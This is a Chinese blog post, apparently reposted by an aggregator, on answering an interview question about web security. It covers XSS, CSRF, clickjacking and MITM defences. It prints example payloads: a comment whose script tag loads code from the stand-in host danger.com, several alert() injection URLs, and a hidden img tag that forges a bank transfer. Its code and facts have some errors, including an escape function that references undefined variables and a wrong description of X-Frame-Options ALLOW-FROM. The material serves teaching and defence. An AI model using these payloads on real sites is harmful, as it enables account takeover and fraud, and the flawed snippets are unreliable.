面试官问:你在项目中做过哪些安全防范措施?

大家好,我是若川。今天分享一篇安全相关的文章。

点击下方卡片关注我、加个星标,或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列


如果你被面试官问到这个问题,不要急于描述自己遇到的问题以及如何处理的,你得先去理解问题中的潜台词。“做过哪些措施”更深层的意思是“你熟悉哪些攻击方式,知道哪些解决方案?”当然,不可能把每次做的安全防范措施都一一的说给面试官听, 这样显得没有重点。

「做哪些安全防范」换个思维思考“有哪些攻击方式?”,那么我们就可以基于攻击方式的分类,来讨论究竟有哪些防范攻击的措施。

从而可以梳理出关于这个问题回答的思路:


XSS 攻击

按照之前说的思路,先讲概念,说用途

什么是XSS攻击

XSS即Cross Site Scripting(跨站脚本攻击),指的是攻击者想尽一切办法将一些可执行的代码注入到网页中,利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。为了不和层叠样式表CSS混淆,故将其缩写为 XSS

XSS 可以分为:存储型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。

存储型

存储型也就是攻击的代码被服务端写入进数据库中,这种攻击危害性很大,因为如果网站访问量很大的话,就会导致大量正常访问页面的用户都受到攻击。

这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。

反射型

反射型也叫非持久型,相比于前者危害就小一些,一般通过修改 URL 参数的方式加入攻击代码,诱导用户访问链接从而进行攻击。

这种常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

二者区别:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

举两个案例帮助更好的理解:当我们在做商品评论时,用户输入的内容未经过过滤直接保存到数据库中。

攻击者可以构建一条评论, 包含恶意内容:

质量非常不错!<script src="danger.com/spread.js"></script>

当你的评论列表被用户浏览时, 直接从服务端取出,回填到HTML响应中:

<li>质量非常不错!<script src="danger.com/spread.js"></script></li>

那么浏览器会加载执行恶意脚本danger.com/spread.js, 在恶意脚本中利用用户的登录状态发更多的带有恶意评论的URL, 诱导更多人点击,层层传播,放大攻击范围。

这个案例就是一个典型的存储型XSS攻击。再来看一个反射型攻击案例:

某天小范开发了一个搜索页面,通过用户输入搜索内容,展示相应的数据:

http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>

有时攻击者会伪造一个图片,让你点击后链接跳转URL。

对于这种攻击方式来说,如果用户使用的是Chrome 浏览器的话,浏览器已经帮助用户做了防御攻击。但是我们也不能说就不防御了,因为无法保证用户都是用有防御攻击的浏览器。

XSS攻击如何进行防范

我们讲了这么XSS的原理和危害,那么我们在日常开发当中到底该如何预防呢?

1.输入输出过滤

一切用户输入皆不可信,在输出时进行验证,一般做法是将 ‘ ” < > & 这些个危险字符进行转义。

const signs = {'&': '&amp','<': '&lt','>': '&gt','"': '&quot',"'": '&#39'
}
const signReg = /[&<>"']/g
function escape(string) {return (string && reUnescapedHtml.test(string))? string.replace(reUnescapedHtml, (chr) =>htmlEscapes[chr]): string} 

通过转义<script></script>将被转义成&ltscript&gt&lt/script&gt;

对于URL地址的转义可以使用encodeURI,当你需要编码URL中的参数的时候,那么encodeURIComponent是最好方法。

上面对字符进行转义的方式很明显并不适用于所有场景,比如富文本,这样会将需要的格式都过滤掉。因为HTML标签种类繁多,基于黑名单的过滤方法考虑的并不全面,所以我们可以根据白名单过滤HTML, 可以借助xss.js来完成:

// 浏览器
<script src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>

使用:

filterXSS('<h1 id="title">XSS Demo</h1><script type="text/javascript">alert(/xss/);</script>
<p class="text-center">Whitelist</p>')

输出结果:

<h1>XSS Demo</h1>&lt;script type="text/javascript"&gt;alert(/xss/);&lt;/script&gt;
<p>Whitelist</p>

如果后端直接将字符串存入数据库也是不妥的,后端也必须做处理,因为发送到后端的内容还可以通过其他方式, 前端处理并不能保障安全。

2. Cookie 的 HttpOnly

当用户的登录凭证存储于服务器的 session 中,而在浏览器中是以 cookie 的形式存储的。很多XSS攻击目标都是窃取用户cookie伪造身份认证。

可以通过在 cookie 中设置 HttpOnly 属性,js脚本将无法读取到 cookie 信息。

ctx.cookies.set(name, value, {httpOnly: true // 默认为 true
})

3. CSP(内容安全策略)

CSP (Content Security Policy,内容安全策略)是 W3C 提出的 ,本质上就是白名单制度,开发者明确告诉浏览器哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成,我们只需提供配置。

CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

两种方法可以启用 CSP:

  • 一种是通过 HTTP 头信息的Content-Security-Policy的字段

  • 另一种是通过网页的<meta>标签

方式1举例

Content-Security-Policy: default-src ‘self’

表示只允许加载本站资源

Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src 'none'

CSP 的值中,不同属性以 ; 隔开,同一属性的多个值以空格隔开。上面例子的意思就是默认允许读取 https://demo.example.cnhttps://cdn.example2.net 的资源,object-src 使用的相关资源无白名单,也就是完全不允许读出。

如果使用了不符合要求的资源,浏览器会给予拦截,给出下面提示:

Refused to execute inline script because it violates the following Content Security Policy directive

我们也可以使用 meta 标签代替 HTTP 头:

<metahttp-equiv="Content-Security-Policy"content="default-src https://cdn.example.net; child-src 'none'; object-src 'none'"
/>

Content-Security-Policy 的常用选项有这些:

  • default-src: 是 src 选项的默认值,但不能覆盖以下值:base-uriform-actionframe-ancestorsplugin-typesreport-urisandbox

  • base-uri:特别说一下<base> 标签是因为孤陋寡闻的我第一次见到。指定用于一个文档中包含的所有相对 URL 的根 URL,一个文件只能有一个 <base> 标签,用起来大概是这样的:<base target="_top" href="http://www.example.com/">

  • connect-src: XHR、WebSockets 等连接使用的地址

  • font-src:字体文件来源

  • img-src:图片地址

  • media-src:音视频地址

  • object-src:Flash 相关

  • report-uri:出现报错时提交到指定 uri,不能在  标签使用

  • style-src:样式文件

CSRF 攻击

除了上面说的XSS攻击外,还有一种常见的攻击方式:CSRF攻击。

什么是CSRF攻击

CSRF:跨站点请求伪造(Cross-Site Request Forgeries),也被称为 one-click attack 或者 session riding。冒充用户发起请求(在用户不知情的情况下), 完成一些违背用户意愿的事情(如修改用户信息,删除评论等)。

举个例子,好友小A在银行存有一笔钱,输入用户名密码登录银行账户后,发送请求给xiaofan账户转888:

http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan

转账过程中, 小A不小心打开了一个新页面,进入了黑客(xiaohei)的网站,而黑客网站有如下html代码:

<html><!--其他内容--><img src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei width='0' height='0'><!--其他内容-->
</html>

这个模拟的img请求就会带上小A的session值, 成功的将888转到xiaohei的账户上。例子虽然是get,post请求提交表单同样会被攻击。

CSRF攻击的特点:

  • 通常发生在第三方网站

  • 攻击者不能获取cookie等信息,只是使用

如何防御

  • 验证码:强制用户必须与应用进行交互,才能完成最终请求。此种方式能很好的遏制 CSRF,但是用户体验相对差。

  • 尽量使用 post ,限制 get 使用;上一个例子可见,get 太容易被拿来做 CSRF 攻击,但是 post 也并不是万无一失,攻击者只需要构造一个form就可以。

  • Referer check:请求来源限制,此种方法成本最低,但是并不能保证 100% 有效,因为服务器并不是什么时候都能取到 Referer,而且低版本的浏览器存在伪造 Referer 的风险。

  • token:token 验证的 CSRF 防御机制是公认最合适的方案。

CSRF 与 XSS 区别

通常来说 CSRF 是由 XSS 实现的,CSRF 时常也被称为 XSRF(CSRF 实现的方式还可以是直接通过命令行发起请求等)。

本质上讲,XSS 是代码注入问题,CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie里面。XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

点击劫持

点击劫持(click hijacking)也称为 UI 覆盖攻击。它通过一些内容(如游戏)误导被攻击者点击,虽然被攻击者点击的是他所看到的网页,但其实所点击的是另一个置于原网页上面的透明页面。

根据先点击劫持原理示意图,分析典型点击劫持攻击流程:


  • 攻击者构建了一个非常有吸引力的网页

  • 将被攻击的页面放置在当前页面的 iframe 中

  • 使用样式将 iframe 叠加到非常有吸引力内容的上方

  • 将iframe设置为100%透明

  • 用户在不知情的情况下点击按钮,触发执行一些其他命令。

如何防御

点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。

所以可以设置我们的网页不允许使用iframe被加载到其他网页中就可以避免这种情况了,我们可以通过在响应头中设置X-Frame-Options(服务器端进行),X-Frame-Options可以设置以下三个值:

  1. DEBY:不允许任何网页使用iframe加载我这个页面。

  2. SAMEORIGIN:只允许在相同域名(也就是自己的网站)下使用iframe加载这个页面。

  3. ALLOWED-FROM origin: 允许任何网页通过iframe加载我这个网页。

这种方式在一些老旧的浏览器上是不支持的,具体可以通过can i use去查看

中间人攻击

中间人(Man-in-the-middle attack, MITM)是指攻击者和通讯的两端分别创建独立的联系,并交换其得到的数据,攻击者可以拦截通信双方的通话并插入新的内容。


一般的过程如下:

  • 客户端发送请求到服务端,请求被中间⼈截获

  • 服务器向客户端发送公钥

  • 中间⼈截获公钥,保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个【伪造的】公钥,发给客户端

  • 客户端收到伪造的公钥后,⽣成加密hash值发给服务器

  • 中间⼈获得加密hash值,⽤⾃⼰的私钥解密获得真秘钥,同时⽣成假的加密hash值,发给服务器

  • 服务器⽤私钥解密获得假密钥,然后加密数据传输给客户端

如何防御

采用HTTPS通信可以防御中间人攻击, 但是使用HTTPS并不就绝对安全,一方面你要完全关闭HTTP通信,如果没有完全关闭,攻击者可以通过某些方式将HTTPS 降级为HTTP,从而实现中间人攻击。

其次使用HTTPS通信,开发时也不要忽视证书的校验,或者对于非法证书不进行处理,这样也容易被中间人攻击。这里给大家推荐文章 HTTPS中间人攻击实践(原理•实践)

为什么有些软件如Fiddler可以还原https报文?

Fiddler是通过中间代理的方式抓取报文,还原https报文的前提是在客户端的根证书列表下加入Fiddler生成的CA根证书。这样Fiddler就成为CA,可以伪造数字证书,伪装成服务器。但是只能用于测试,不能实现真正意义上的窃取数据。

总结

以上是我们平时开发过程中一些常见的前端安全方面的知识以及我们应该如何防御这些攻击。但是安全的领域相当大,这些内容只是沧海一粟,如果需要深入学习安全防御方面的知识,这是远远不够的。

参考文章:

https://juejin.cn/post/6844904100945985543#heading-10

http://www.atguigu.com/mst/html/gp/17649.html

https://wurh.github.io/2019/03/29/20190401/

https://www.cabeza.cn/blog/2019/05/14/web-security-xss/


最近组建了一个江西人的前端交流群,如果你也是江西人可以加我微信 ruochuan12 拉你进群。


················· 若川出品 ·················

今日话题

略。欢迎在下方留言~  欢迎分享、收藏、点赞、在看我的公众号文章~

一个愿景是帮助5年内前端人走向前列的公众号

可加我个人微信 ruochuan12,长期交流学习

推荐阅读

我在阿里招前端,我该怎么帮你?(现在还能加我进模拟面试群)

若川知乎问答:2年前端经验,做的项目没什么技术含量,怎么办?

点击方卡片关注我、加个星标,或者查看源码等系列文章。
学习源码整体架构系列、年度总结、JS基础系列

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/275870.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

消灭病毒_消灭遗产

消灭病毒The year was 1995, I was 10 years of age. The number 1 single in the UK was Think Twice by Celine Dion, and Batman Forever was the highest grossing movie across the pond in the States. Manchester United, unfortunately, won their 3rd Premier League …

logcat崩溃_使用logcat抓取Android崩溃日志

一、安装jdkJDK网上教程非常多&#xff0c;此处不再赘述。(好像不装也没关系&#xff0c;未实测)二、工具列表a) adb包(v.1.0.31版本或以上&#xff0c;下文提供下载地址)b) logcat.bat文件(下文制作)三、安装adb(二选一)a) 放到任意位置(推荐)因为adb…

基于 Ubuntu 16.04 LTS 的 KDE neon 到达维护周期

随着 KDE neon 在 Ubuntu 18.04 LTS 发布&#xff0c;开发团队已经决定 放弃维护基于 Ubuntu 16.04 LTS版本&#xff0c;大多数用户预警将希望升级到基于 Ubuntu LTS 的 KDE neno 新版本。“去年KDE neno 被重新定位到 Ubuntu bionic / 18.04上&#xff0c;并且升级已经基本顺利…

真诚推荐7个能助你成长的前端大佬

不得不说&#xff0c;如今比前些年学习资料多很多了。现在的前端公众号也挺多的&#xff0c;这里推荐几个前端大佬运营的公众号&#xff0c;都是聚焦前端垂直领域的优质公众号&#xff0c;关注这些公众号至少可以&#xff1a;1、了解现在前端技术发展情况和未来发展趋势&#x…

Silverlight学习笔记(3):Silverlight的界面布局

在上一篇中讲述了使用VS2010开发Silverlight的一些基础知识&#xff0c;并且讲述了Silverlight的部署和代码安全知识&#xff0c;这一篇主要是讲述如何在Silverlight中摆放界面元素。记得早年前我还在学习Java的时候&#xff0c;当时有两种开发Java SE的方法&#xff0c;一种是…

pov-inc_yourself劳自己-懒惰的设计师的POV和一些Figma

pov-incAre you ready and lazy enough (you will fully understand with continue reading this)? Coffee and tea next to you? Alright. This article is going to (not) kick you in your a**. It will be a bit of ‘lesson learned’, for sure a bit of FIGMA, and a …

Geary 0.13.0 发布,GNOME 3 Email 客户端应用

百度智能云 云生态狂欢季 热门云产品1折起>>> Geary 0.13.0 发布了&#xff0c;Geary 是一个电子邮件应用&#xff0c;用于 GNOME 3 桌面版本&#xff0c;它允许阅读、查找和发送电子&#xff0c;并提供简洁、现代化的界面。这是一个重要的新版本&#xff0c;具有许…

轻型本地服务器_一小时超轻型漂移机

轻型本地服务器Iwas introduced to the world of Hyper Light Drifter through a series of visions — titans ravage a broken city, a shallow sea is stained red by floating corpses, a skinny dog leads me into the yawning abyss of a pillar in the center of the se…

聊聊前端面试

大家好&#xff0c;我是若川。今天分享一篇面试相关的文章。点击下方卡片关注我、加个星标&#xff0c;或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列最近 Zoom 国内又开放招聘了&#xff0c;我们组有了前端的 HC&#xff0c;所以我也参加了几场面试。合…

mysql读写分离和分布式_MySQL主从复制与读写分离

MySQL主从复制(Master-Slave)与读写分离(MySQL-Proxy)实践Mysql作为目前世界上使用最广泛的免费数据库&#xff0c;相信所有从事系统运维的工程师都一定接触过。但在实际的生产环境中&#xff0c;由单台Mysql作为独立的数据库是完全不能满足实际需求的&#xff0c;无论是在安全…

ux和ui_UI和UX设计师的10种软技能

ux和ui重点 (Top highlight)As designers, whether it be UI, UX, or Product Design, we tend to direct our focus and energy on developing and mastering tangible skills.作为设计师&#xff0c;无论是UI&#xff0c;UX还是产品设计&#xff0c;我们都将重点和精力放在开…

SQLServer中批量插入数据方式的性能对比 (转)

转自&#xff1a;http://www.cnblogs.com/wlb/archive/2010/03/02/1676136.html 昨天下午快下班的时候&#xff0c;无意中听到公司两位同事在探讨批量向数据库插入数据的性能优化问题&#xff0c;顿时来了兴趣&#xff0c;把自己的想法向两位同事说了一下&#xff0c;于是有了本…

VueConf China 2021 《Vue3生态进展-尤雨溪》 Reaction

大家好&#xff0c;我是若川。今天分享昨天Vueconf的一篇文章&#xff0c;来了解下Vue的生态进展。另外今晚7点&#xff0c;Vuebeijing社区邀请了尤大会在视频号直播&#xff0c;可以加我微信 ruochuan12&#xff0c;告诉观看地址提前预约。点击下方卡片关注我、加个星标&#…

Plsql运行mysql脚本_oracle中PLSQL语句

1.set autot off 禁止使用autotrace命令 set autot on 这个命令包括exp 和 stat(执行语句、生成explain plan、生成统计信息) set autot trace 不执行sql语句&#xff0c;但(生成explain plan、生成统计信息) set autot trace exp stat 与上句同 set autot trace st1.set autot…

2019年,你需要关注这些Node API和Web框架

对于Node.js框架和开源软件来说&#xff0c;2018年是非常有趣的一年。开发者社区讨论了企业赞助对开源项目的作用以及如何维护那些没有经济支持却有数百万人使用的项目。同样&#xff0c;安全问题也得到了极大关注&#xff0c;一些流行的Node/JS软件包被劫持&#xff0c;Github…

ai创造了哪些职业_关于创造职业的思考

ai创造了哪些职业When I was growing up, the idea of a creative career wasn’t an option.当我长大时&#xff0c;创意事业的想法不是一个选择。 I had enjoyed doodling, arts and crafts as a kid, so as I grew up, it was a natural transition into Photoshop and lat…

Windows Mobile,用C#更改网络连接(SSID、IP Address、Subnet Mask、Gatew... (转)

前几天在做一个改变PDA无线网络连接的SSID和IP的功能是发现了一个好东西OpenNETCF Framework使用OpenNETCF.Net包&#xff0c;实现了任意改变PDA无线网络连接的功能。并且不需要Reset PDA。现在正在做一个IP Manager For Windows Mobile的小程序。实现搜索当前网卡可见的SSID、…

一文读懂vuex4源码,原来provide/inject就是妙用了原型链?

1. 前言你好&#xff0c;我是若川&#xff0c;欢迎加我微信ruochuan12&#xff0c;加群长期交流学习。这是学习源码整体架构系列 之 vuex4 源码&#xff08;第十篇&#xff09;。学习源码整体架构系列文章(有哪些必看的JS库)&#xff1a;jQuery、underscore、lodash、sentry、v…

Spring4.3x教程之一IOCDI

SpringIOC也称为DI&#xff0c;对属性内容的注入可以通过属性的setXXX方法进行也可以通过构造方法进行&#xff0c;当然还可以使用工厂模式进行属性内容的注入。 什么是DI&#xff1f;什么是IOC&#xff1f; DI&#xff1a;Dependency Injection依赖注入 其实一个类中的属性就是…

战神4 幕后花絮 概念艺术_幕后花絮:品牌更新的背后

战神4 幕后花絮 概念艺术Under the Hood gives you an inside look at different parts of Waze — straight from the people working on them every day.在引擎盖下&#xff0c;您可以深入了解Waze的不同部分-直接来自每天进行工作的人员。 Traffic is the worst. It makes …